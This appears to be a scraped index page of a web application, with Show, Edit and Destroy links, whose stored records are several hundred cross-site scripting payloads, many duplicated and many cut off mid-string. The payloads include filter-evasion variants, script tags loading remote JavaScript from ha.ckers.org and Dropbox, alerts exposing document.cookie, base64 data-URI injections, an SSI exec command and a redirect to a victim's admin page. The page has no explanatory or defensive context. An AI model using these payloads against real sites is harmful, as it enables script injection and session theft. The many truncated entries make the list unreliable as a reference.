Destroy |
| <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> |
Show |
Edit |
Destroy |
| <IMG SRC= onmouseover="alert('xxs')"> |
Show |
Edit |
Destroy |
| <IMG onmouseover="alert('xxs')"> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> |
Show |
Edit |
Destroy |
| <IMG SRC=# onmouseover="alert('xxs')"> |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <IMG SRC="jav |
Show |
Edit |
Destroy |
| <IMG SRC="jav ascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <IMG SRC="jav |
Show |
Edit |
Destroy |
| <IMG SRC="jav |
Show |
Edit |
Destroy |
| perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out |
Show |
Edit |
Destroy |
| <IMG SRC=" |
Show |
Edit |
Destroy |
| <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <<SCRIPT>alert("XSS");//<</SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT SRC=//ha.ckers.org/.j> |
Show |
Edit |
Destroy |
| <SCRIPT SRC=http://ha.ckers.org/xss.js?< B > |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:alert('XSS')" |
Show |
Edit |
Destroy |
| <iframe src=http://ha.ckers.org/scriptlet.html < |
Show |
Edit |
Destroy |
| \";alert('XSS');// |
Show |
Edit |
Destroy |
| </TITLE><SCRIPT>alert("XSS");</SCRIPT> |
Show |
Edit |
Destroy |
| <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <BODY BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <IMG DYNSRC="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <IMG LOWSRC="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> |
Show |
Edit |
Destroy |
| <IMG SRC='vbscript:msgbox("XSS")'> |
Show |
Edit |
Destroy |
| <BODY ONLOAD=alert('XSS')> |
Show |
Edit |
Destroy |
| <BGSOUND SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <IMG SRC="livescript:[code]"> |
Show |
Edit |
Destroy |
| <BR SIZE=" |
Show |
Edit |
Destroy |
| <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> |
Show |
Edit |
Destroy |
| <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> |
Show |
Edit |
Destroy |
| <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> |
Show |
Edit |
Destroy |
| <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> |
Show |
Edit |
Destroy |
| exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'> |
Show |
Edit |
Destroy |
| <STYLE TYPE="text/javascript">alert('XSS');</STYLE> |
Show |
Edit |
Destroy |
| <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> |
Show |
Edit |
Destroy |
| <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> |
Show |
Edit |
Destroy |
| <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> |
Show |
Edit |
Destroy |
| <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> |
Show |
Edit |
Destroy |
| <XSS STYLE="xss:expression(alert('XSS'))"> |
Show |
Edit |
Destroy |
| <XSS STYLE="behavior: url(xss.htc);"> |
Show |
Edit |
Destroy |
| ¼script¾alert(¢XSS¢)¼/script¾ |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> |
Show |
Edit |
Destroy |
| <IFRAME SRC="javascript:alert('XSS');"></IFRAME> |
Show |
Edit |
Destroy |
| <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> |
Show |
Edit |
Destroy |
| <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> |
Show |
Edit |
Destroy |
| <TABLE BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <TABLE><TD BACKGROUND="javascript:alert('XSS')"> |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image: url(javascript:alert('XSS'))"> |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> |
Show |
Edit |
Destroy |
| <DIV STYLE="width: expression(alert('XSS'));"> |
Show |
Edit |
Destroy |
| <DIV STYLE="background-image: url( |
Show |
Edit |
Destroy |
| <BASE HREF="javascript:alert('XSS');//"> |
Show |
Edit |
Destroy |
| <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> |
Show |
Edit |
Destroy |
| <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> |
Show |
Edit |
Destroy |
| <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"--> |
Show |
Edit |
Destroy |
| <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?> |
Show |
Edit |
Destroy |
| Redirect 302 /a.jpg http://victimsite.com/admin.asp |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> |
Show |
Edit |
Destroy |
| <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD> ADw-SCRIPT AD4-alert('XSS'); ADw-/SCRIPT AD4- |
Show |
Edit |
Destroy |
| <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <A HREF="http://66.102.7.147/">XSS</A> |
Show |
Edit |
Destroy |
| <A HREF="http://www.google.com">XSS</A> |
Show |
Edit |
Destroy |
| <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> |
Show |
Edit |
Destroy |
| <A HREF="http://1113982867/">XSS</A> |
Show |
Edit |
Destroy |
| <A HREF="http://0102.0146.0007.00000223/">XSS</A> |
Show |
Edit |
Destroy |
| <iframe src=" |
Show |
Edit |
Destroy |
| <A HREF="htt p://6 6.000146.0x7.147/">XSS</A> |
Show |
Edit |
Destroy |
| <svg><style>{font-family |
Show |
Edit |
Destroy |
| <input/onmouseover="javaSCRIPT |
Show |
Edit |
Destroy |
| <sVg><scRipt >alert |
Show |
Edit |
Destroy |
| <img/src=` ` onerror=this.onerror=confirm(1) |
Show |
Edit |
Destroy |
| <img src=` ` |
Show |
Edit |
Destroy |
| <form><isindex formaction="javascript |
Show |
Edit |
Destroy |
| <script/ |
Show |
Edit |
Destroy |
| <iframe/src="data:text/html; |
Show |
Edit |
Destroy |
| <ScRipT 5-0*3 9/3=>prompt(1)</ScRipT giveanswerhere=? |
Show |
Edit |
Destroy |
| <script /* */>/* */alert(1)/* */</script /* */ |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <iframe/src="data:text/html,<svg |
Show |
Edit |
Destroy |
| <meta content=" |
Show |
Edit |
Destroy |
| <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} |
Show |
Edit |
Destroy |
| <svg><script xlink:href=data |
Show |
Edit |
Destroy |
| <form><a href="javascript:\u0061lert |
Show |
Edit |
Destroy |
| <iframe src=javascript |
Show |
Edit |
Destroy |
| <img/ |
Show |
Edit |
Destroy |
| <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> |
Show |
Edit |
Destroy |
| </script><img/* /src="worksinchrome |
Show |
Edit |
Destroy |
| <a href="data:application/x-x509-user-cert; |
Show |
Edit |
Destroy |
| http://www.google<script .com>alert(document.location)</script |
Show |
Edit |
Destroy |
| <a |
Show |
Edit |
Destroy |
| <form><iframe |
Show |
Edit |
Destroy |
| <img/src=@ |
Show |
Edit |
Destroy |
| <script ^__^>alert(String.fromCharCode(49))</script ^__^ |
Show |
Edit |
Destroy |
| </style |
Show |
Edit |
Destroy |
| <style/onload=prompt |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <form><textarea |
Show |
Edit |
Destroy |
| <iframe srcdoc=' |
Show |
Edit |
Destroy |
| <a href="javascript:void(0)" onmouseover= |
Show |
Edit |
Destroy |
| <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/ |
Show |
Edit |
Destroy |
| <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover= |
Show |
Edit |
Destroy |
| <style/onload= |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <///style///><span / onmousemove='alert |
Show |
Edit |
Destroy |
| <marquee onstart='javascript:alert |
Show |
Edit |
Destroy |
| <div/style="width:expression(confirm(1))">X</div> {IE7} |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <iframe/ / src=javaSCRIPT |
Show |
Edit |
Destroy |
| //<form/action=javascript |
Show |
Edit |
Destroy |
| //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ |
Show |
Edit |
Destroy |
| </font>/<svg><style>{src |
Show |
Edit |
Destroy |
| /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/> |
Show |
Edit |
Destroy |
| <a/href="javascript: |
Show |
Edit |
Destroy |
| </plaintext\></|\><plaintext/onmouseover=prompt(1) |
Show |
Edit |
Destroy |
| </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert |
Show |
Edit |
Destroy |
| <a href="javascript |
Show |
Edit |
Destroy |
| <div onmouseover='alert |
Show |
Edit |
Destroy |
| <a href="jAvAsCrIpT |
Show |
Edit |
Destroy |
| <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> |
Show |
Edit |
Destroy |
| <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> |
Show |
Edit |
Destroy |
| <a href=javascript |
Show |
Edit |
Destroy |
| <img src="/" =_=" title="onerror='prompt(1)'"> |
Show |
Edit |
Destroy |
| <script src="data:text/javascript,alert(1)"></script> |
Show |
Edit |
Destroy |
| <svg/onload=alert(1) |
Show |
Edit |
Destroy |
| <var onmouseover="prompt(1)">On Mouse Over</var> |
Show |
Edit |
Destroy |
| <iframe/src \/\/onload = prompt(1) |
Show |
Edit |
Destroy |
| http://www.<script>alert(1)</script .com |
Show |
Edit |
Destroy |
| <input value=<><iframe/src=javascript:confirm(1) |
Show |
Edit |
Destroy |
| <iframe/onreadystatechange=alert(1) |
Show |
Edit |
Destroy |
| <input type="text" value=`` <div/onmouseover='alert(1)'>X</div> |
Show |
Edit |
Destroy |
| <iframe src=j |
Show |
Edit |
Destroy |
| <iframe src=j |
Show |
Edit |
Destroy |
| <svg><script ?>alert(1) |
Show |
Edit |
Destroy |
| <img src=`xx:xx`onerror=alert(1)> |
Show |
Edit |
Destroy |
| <meta http-equiv="refresh" content="0;javascript |
Show |
Edit |
Destroy |
| <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> |
Show |
Edit |
Destroy |
| <math><a xlink:href="//jsfiddle.net/t846h/">click |
Show |
Edit |
Destroy |
| <svg contentScriptType=text/vbs><script>MsgBox 1 |
Show |
Edit |
Destroy |
| <a href="data:text/html;base64_,<svg/onload=\u0061 |
Show |
Edit |
Destroy |
| <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> |
Show |
Edit |
Destroy |
| <script/src="data |
Show |
Edit |
Destroy |
| <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> |
Show |
Edit |
Destroy |
| <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U |
Show |
Edit |
Destroy |
| <script/src=data |
Show |
Edit |
Destroy |
| <script> - -1- - alert(1)</script> |
Show |
Edit |
Destroy |
| <img src ?itworksonchrome?\/onerror = alert(1) |
Show |
Edit |
Destroy |
| <script itworksinallbrowsers>/*<script* */alert(1)</script |
Show |
Edit |
Destroy |
| <object data=javascript |
Show |
Edit |
Destroy |
| <body/onload= |
Show |
Edit |
Destroy |
| <svg><script onlypossibleinopera:-)> alert(1) |
Show |
Edit |
Destroy |
| <svg><script>// |
Show |
Edit |
Destroy |
| <script x> alert(1) </script 1=2 |
Show |
Edit |
Destroy |
| <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j |
Show |
Edit |
Destroy |
| <div/onmouseover='alert(1)'> style="x:"> |
Show |
Edit |
Destroy |
| <--`<img/src=` onerror=alert(1)> --!> |
Show |
Edit |
Destroy |
| <script/src= |
Show |
Edit |
Destroy |
| <math><a xlink:href="//jsfiddle.net/t846h/">click |
Show |
Edit |
Destroy |
| <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik ></object> |
Show |
Edit |
Destroy |
| <form><button formaction=javascript |
Show |
Edit |
Destroy |
| "><img src=x onerror=window.open('https://www.google.com/');> |
Show |
Edit |
Destroy |
| <iframe src="data:text/html,<script>alert(1)</script>"></iframe> |
Show |
Edit |
Destroy |
| <a href="data:text/html;blabla, |
Show |
Edit |
Destroy |
| ‘; alert(1); |
Show |
Edit |
Destroy |
| <IMG SRC=jAVasCrIPt:alert(‘XSS’)> |
Show |
Edit |
Destroy |
| <ScRiPt>alert(1)</sCriPt> |
Show |
Edit |
Destroy |
| ‘)alert(1);// |
Show |
Edit |
Destroy |
| <IMG SRC=”javascript:alert(‘XSS’);”> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert( |
Show |
Edit |
Destroy |
| <img src=xss onerror=alert(1)> |
Show |
Edit |
Destroy |
| <svg><style>{font-family |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert(‘XSS’)> |
Show |
Edit |
Destroy |
| <iframe src=" |
Show |
Edit |
Destroy |
| <input/onmouseover="javaSCRIPT |
Show |
Edit |
Destroy |
| <img/src=` ` onerror=this.onerror=confirm(1) |
Show |
Edit |
Destroy |
| <sVg><scRipt >alert |
Show |
Edit |
Destroy |
| <form><isindex formaction="javascript |
Show |
Edit |
Destroy |
| <script/ |
Show |
Edit |
Destroy |
| <img src=` ` |
Show |
Edit |
Destroy |
| <script /* */>/* */alert(1)/* */</script /* */ |
Show |
Edit |
Destroy |
| <ScRipT 5-0*3 9/3=>prompt(1)</ScRipT giveanswerhere=? |
Show |
Edit |
Destroy |
| <iframe/src="data:text/html,<svg |
Show |
Edit |
Destroy |
| <iframe/src="data:text/html; |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <meta content=" |
Show |
Edit |
Destroy |
| <svg><script xlink:href=data |
Show |
Edit |
Destroy |
| <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> |
Show |
Edit |
Destroy |
| <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} |
Show |
Edit |
Destroy |
| <iframe src=javascript |
Show |
Edit |
Destroy |
| <form><iframe |
Show |
Edit |
Destroy |
| <img/ |
Show |
Edit |
Destroy |
| <form><a href="javascript:\u0061lert |
Show |
Edit |
Destroy |
| http://www.google<script .com>alert(document.location)</script |
Show |
Edit |
Destroy |
| </script><img/* /src="worksinchrome |
Show |
Edit |
Destroy |
| <a href="data:application/x-x509-user-cert; |
Show |
Edit |
Destroy |
| <style/onload=prompt |
Show |
Edit |
Destroy |
| <img/src=@ |
Show |
Edit |
Destroy |
| <a |
Show |
Edit |
Destroy |
| <script ^__^>alert(String.fromCharCode(49))</script ^__^ |
Show |
Edit |
Destroy |
| </style |
Show |
Edit |
Destroy |
| <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/ |
Show |
Edit |
Destroy |
| <iframe srcdoc=' |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <form><textarea |
Show |
Edit |
Destroy |
| <a href="javascript:void(0)" onmouseover= |
Show |
Edit |
Destroy |
| <style/onload= |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <///style///><span / onmousemove='alert |
Show |
Edit |
Destroy |
| <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover= |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <div/style="width:expression(confirm(1))">X</div> {IE7} |
Show |
Edit |
Destroy |
| <marquee onstart='javascript:alert |
Show |
Edit |
Destroy |
| /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/> |
Show |
Edit |
Destroy |
| <iframe/ / src=javaSCRIPT |
Show |
Edit |
Destroy |
| //<form/action=javascript |
Show |
Edit |
Destroy |
| //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ |
Show |
Edit |
Destroy |
| <a/href="javascript: |
Show |
Edit |
Destroy |
| </font>/<svg><style>{src |
Show |
Edit |
Destroy |
| </plaintext\></|\><plaintext/onmouseover=prompt(1) |
Show |
Edit |
Destroy |
| </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert |
Show |
Edit |
Destroy |
| <div onmouseover='alert |
Show |
Edit |
Destroy |
| <a href="jAvAsCrIpT |
Show |
Edit |
Destroy |
| <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> |
Show |
Edit |
Destroy |
| <a href="javascript |
Show |
Edit |
Destroy |
| <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> |
Show |
Edit |
Destroy |
| <a href=javascript |
Show |
Edit |
Destroy |
| <var onmouseover="prompt(1)">On Mouse Over</var> |
Show |
Edit |
Destroy |
| <img src="/" =_=" title="onerror='prompt(1)'"> |
Show |
Edit |
Destroy |
| <iframe/src \/\/onload = prompt(1) |
Show |
Edit |
Destroy |
| <script src="data:text/javascript,alert(1)"></script> |
Show |
Edit |
Destroy |
| <iframe/onreadystatechange=alert(1) |
Show |
Edit |
Destroy |
| <svg/onload=alert(1) |
Show |
Edit |
Destroy |
| <input value=<><iframe/src=javascript:confirm(1) |
Show |
Edit |
Destroy |
| <input type="text" value=`` <div/onmouseover='alert(1)'>X</div> |
Show |
Edit |
Destroy |
| http://www.<script>alert(1)</script .com |
Show |
Edit |
Destroy |
| <iframe src=j |
Show |
Edit |
Destroy |
| <meta http-equiv="refresh" content="0;javascript |
Show |
Edit |
Destroy |
| <img src=`xx:xx`onerror=alert(1)> |
Show |
Edit |
Destroy |
| <svg><script ?>alert(1) |
Show |
Edit |
Destroy |
| <iframe src=j |
Show |
Edit |
Destroy |
| <math><a xlink:href="//jsfiddle.net/t846h/">click |
Show |
Edit |
Destroy |
| <a href="data:text/html;base64_,<svg/onload=\u0061 |
Show |
Edit |
Destroy |
| <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> |
Show |
Edit |
Destroy |
| <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> |
Show |
Edit |
Destroy |
| <svg contentScriptType=text/vbs><script>MsgBox 1 |
Show |
Edit |
Destroy |
| <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U |
Show |
Edit |
Destroy |
| <script/src="data |
Show |
Edit |
Destroy |
| <object data=javascript |
Show |
Edit |
Destroy |
| <script/src=data |
Show |
Edit |
Destroy |
| <script> - -1- - alert(1)</script> |
Show |
Edit |
Destroy |
| <body/onload= |
Show |
Edit |
Destroy |
| <svg><script onlypossibleinopera:-)> alert(1) |
Show |
Edit |
Destroy |
| <script itworksinallbrowsers>/*<script* */alert(1)</script |
Show |
Edit |
Destroy |
| <img src ?itworksonchrome?\/onerror = alert(1) |
Show |
Edit |
Destroy |
| <svg><script>// |
Show |
Edit |
Destroy |
| <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j |
Show |
Edit |
Destroy |
| <script x> alert(1) </script 1=2 |
Show |
Edit |
Destroy |
| <--`<img/src=` onerror=alert(1)> --!> |
Show |
Edit |
Destroy |
| <div/onmouseover='alert(1)'> style="x:"> |
Show |
Edit |
Destroy |
| <script/src= |
Show |
Edit |
Destroy |
| "><img src=x onerror=window.open('https://www.google.com/');> |
Show |
Edit |
Destroy |
| <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik ></object> |
Show |
Edit |
Destroy |
| <iframe src="data:text/html,<script>alert(1)</script>"></iframe> |
Show |
Edit |
Destroy |
| <form><button formaction=javascript |
Show |
Edit |
Destroy |
| <math><a xlink:href="//jsfiddle.net/t846h/">click |
Show |
Edit |
Destroy |
| <a href="data:text/html;blabla, |
Show |
Edit |
Destroy |
| ‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT> |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> |
Show |
Edit |
Destroy |
| <IMG SRC=”jav ascript:alert(‘XSS’);”> |
Show |
Edit |
Destroy |
| <IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”> |
Show |
Edit |
Destroy |
| <IMG SRC=”jav |
Show |
Edit |
Destroy |
| %3cscript%3ealert(1)%3c/script%3e |
Show |
Edit |
Destroy |
| foo<script>alert(1)</script> |
Show |
Edit |
Destroy |
| “><s”+”cript>alert(document.cookie)</script> |
Show |
Edit |
Destroy |
| <<SCRIPT>alert(“XSS”);//<</SCRIPT> |
Show |
Edit |
Destroy |
| <scr<script>ipt>alert(1)</scr</script>ipt> |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”> |
Show |
Edit |
Destroy |
| <BODY BACKGROUND=”javascript:alert(‘XSS’)”> |
Show |
Edit |
Destroy |
| <BODY ONLOAD=alert(‘XSS’)> |
Show |
Edit |
Destroy |
| <IMG SRC= |
Show |
Edit |
Destroy |
| <IMG SRC=”javascript:alert(‘XSS’)” |
Show |
Edit |
Destroy |
| <iframe src=http://ha.ckers.org/scriptlet.html < |
Show |
Edit |
Destroy |
| javascript:alert("hellox worldss") |
Show |
Edit |
Destroy |
| <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
Show |
Edit |
Destroy |
| <img src=javascript:alert( |
Show |
Edit |
Destroy |
| <img src="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> |
Show |
Edit |
Destroy |
| <IFRAME SRC="javascript:alert('XSS');"></IFRAME> |
Show |
Edit |
Destroy |
| <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
Show |
Edit |
Destroy |
| <<SCRIPT>alert("XSS");//<</SCRIPT> |
Show |
Edit |
Destroy |
| <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
Show |
Edit |
Destroy |
| ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT> |
Show |
Edit |
Destroy |
| <script>alert("hellox worldss")</script> |
Show |
Edit |
Destroy |
| <script>alert("XSS");</script> |
Show |
Edit |
Destroy |
| <h1><font color=blue>hellox worldss</h1> |
Show |
Edit |
Destroy |
| <BODY ONLOAD=alert('hellox worldss')> |
Show |
Edit |
Destroy |
| <input onfocus=write(XSS) autofocus> |
Show |
Edit |
Destroy |
| <input onblur=write(XSS) autofocus><input autofocus> |
Show |
Edit |
Destroy |
| <body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus> |
Show |
Edit |
Destroy |
| <form><button formaction="javascript:alert(XSS)">lol |
Show |
Edit |
Destroy |
| <!--<img src="--><img src=x onerror=alert(XSS)//"> |
Show |
Edit |
Destroy |
| <![><img src="]><img src=x onerror=alert(XSS)//"> |
Show |
Edit |
Destroy |
| <style><img src="</style><img src=x onerror=alert(XSS)//"> |
Show |
Edit |
Destroy |
| <? foo="><script>alert(1)</script>"> |
Show |
Edit |
Destroy |
| <! foo="><script>alert(1)</script>"> |
Show |
Edit |
Destroy |
| </ foo="><script>alert(1)</script>"> |
Show |
Edit |
Destroy |
| <? foo="><x foo='?><script>alert(1)</script>'>"> |
Show |
Edit |
Destroy |
| <! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>"> |
Show |
Edit |
Destroy |
| <div style="font-family:'foo |
Show |
Edit |
Destroy |
| LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style> |
Show |
Edit |
Destroy |
| <script>({0:#0=alert/#0#/#0#(0)})</script> |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg> |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| \\";alert('XSS');// |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| žscriptualert(EXSSE)ž/scriptu |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| exp/* |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
